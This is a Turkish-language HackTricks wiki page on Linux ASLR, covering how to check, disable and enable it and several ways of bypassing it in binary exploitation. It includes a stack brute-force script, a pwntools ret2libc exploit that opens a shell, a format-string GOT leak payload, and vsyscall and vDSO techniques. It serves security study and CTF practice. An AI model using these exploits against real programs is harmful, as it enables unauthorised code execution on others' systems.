hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr

ASLR

{% hint style="success" %} AWS Hacking öğrenin ve uygulayın:HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking öğrenin ve uygulayın: HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!
• 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
• Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

{% endhint %}

Temel Bilgiler

Adres Alanı Düzeni Rastgeleleştirme (ASLR), işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçlerinin kullandığı bellek adreslerini rastgeleleştirir. Böyle yaparak, belirli süreçlerin ve verilerin konumunu, özellikle yığın, bellek havuzu ve kütüphaneleri tahmin etmeyi önemli ölçüde zorlaştırarak, belirli türdeki saldırıları, özellikle tampon taşmalarını azaltır.

ASLR Durumunu Kontrol Etme

Linux sistemlerinde ASLR durumunu kontrol etmek için, ASLR'nin uygulandığı türü belirlemek için /proc/sys/kernel/randomize_va_space dosyasından değeri okuyabilirsiniz:

• 0: Rastgeleleştirme yok. Her şey statiktir.
• 1: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
• 2: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra brk() ile yönetilen bellek rastgeleleştirilir.

ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:

cat /proc/sys/kernel/randomize_va_space

ASLR'nin Devre Dışı Bırakılması

ASLR'yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space değerini 0 olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakılacağı:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR'yi Etkinleştirme

ASLR'yi etkinleştirmek için, genellikle kök izinleri gerektiren /proc/sys/kernel/randomize_va_space dosyasına 2 değerini yazabilirsiniz. Tam rasgeleleştirme ise aşağıdaki komutla yapılabilir:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Yeniden Başlatmalara Karşı Kalıcılık

echo komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf dosyasını düzenledikten sonra değişiklikleri uygulamak için:

sudo sysctl -p

Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.

Atlatmalar

32 bit kaba kuvvet saldırısı

PaX işlem adres alanını 3 gruba ayırır:

• Kod ve veri (başlatılmış ve başlatılmamış): .text, .data ve .bss —> delta_exec değişkeninde 16 bit entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
• mmap() tarafından ayrılan Bellek ve paylaşılan kütüphaneler —> 16 bit, delta_mmap adı verilir.
• Yığın —> 24 bit, delta_stack olarak adlandırılır. Ancak, etkili olarak 11 bit kullanır (10. ile 20. bayt arasında dahil), 16 bayt'a hizalanmıştır —> Bu, 524,288 olası gerçek yığın adresine yol açar.

Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlatmayı mümkün kılar.

Kaba kuvvet fikirleri:

• Kabul edilebilir büyüklükte bir taşma varsa ve kabuk kodundan önce büyük bir NOP kaydı barındırabilirseniz, yığında adresleri kaba kuvvetle deneyebilir ve akışın NOP kaydının bir kısmının üzerinden atlamasını sağlayabilirsiniz.
• Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, NOP kaydını ve kabuk kodunu bir ortam değişkenine eklemek mümkündür.
• Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Uzak bir sunucuyu hedef alıyorsanız, libc fonksiyonu usleep'in adresini 10 (örneğin) olarak argüman geçerek brute-force yapabilirsiniz. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir.

{% hint style="success" %} 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır. {% endhint %}

64 bit yığın brute-force

Çevresel değişkenlerle yığının büyük bir kısmını işgal etmek mümkündür ve ardından binayı yüzlerce/binlerce kez yerel olarak kötüye kullanmak için deneme yapılabilir.
Aşağıdaki kod, yığında sadece bir adres seçmenin mümkün olduğunu ve her birkaç yüz çalıştırmada bu adresin NOP talimatını içereceğini göstermektedir:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Yerel Bilgiler (/proc/[pid]/stat)

Bir işlemin /proc/[pid]/stat dosyası her zaman herkes tarafından okunabilir ve içerisinde şu gibi ilginç bilgiler bulunur:

• startcode & endcode: BINARY'nin TEXT kısmının üstünde ve altındaki adresler
• startstack: Stack'in başlangıç adresi
• start_data & end_data: BSS'nin üstünde ve altındaki adresler
• kstkesp & kstkeip: Mevcut ESP ve EIP adresleri
• arg_start & arg_end: cli argümanlarının üstünde ve altındaki adresler
• env_start & env_end: Çevre değişkenlerinin üstünde ve altındaki adresler

Bu nedenle, saldırgan, söz konusu binary'nin taşmadan beklenmedik bir girişten değil, bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girişten kaynaklanması durumunda ve saldırgan, bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturabilir.

{% hint style="success" %} Bu dosya hakkında daha fazla bilgi için https://man7.org/linux/man-pages/man5/proc.5.html adresinde /proc/pid/stat araması yapın. {% endhint %}

Bir sızıntıya sahip olmak

• Zorluk, bir sızıntı vermek

Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayarsak). Bu örnek exploit, buradaki örneğin çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Tampon taşması kullanılarak ret2plt'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olacaktır. Kontrol edin:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

• Format Strings Arbitrary Read

Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, GOT'dan bir libc fonksiyonunun adresini dışarı sızdırmak mümkündür. Aşağıdaki örnek buradan alınmıştır:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Format Strings arbitrary read hakkında daha fazla bilgiyi aşağıda bulabilirsiniz:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin:

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

vsyscall mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. vsyscalls'ın kritik avantajı, ASLR'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan sabit adreslerinde yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.
Ancak, burada çok ilginç araçlar bulunmayacaktır (örneğin bir ret; eşdeğeri alınabilir)

(Örnek ve kod bu yazıdan alınmıştır)

Örneğin, bir saldırgan, bir saldırıda 0xffffffffff600800 adresini kullanabilir. Bir ret talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, vsyscall bölümü tarafından sağlanan bir syscall'ın başına atlamak başarılı olabilir. Bir ROP aracını dikkatlice yerleştirerek bu vsyscall adresine yürütmeyi yönlendiren bir saldırgan, bu saldırının bu kısmı için ASLR'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Bu nedenle, kernel CONFIG_COMPAT_VDSO ile derlenmişse vdso'nun adresi rastgele olmayacağından ASLR'yi atlayabilirsiniz. Daha fazla bilgi için şuraya bakın:

{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} ret2vdso.md {% endcontent-ref %}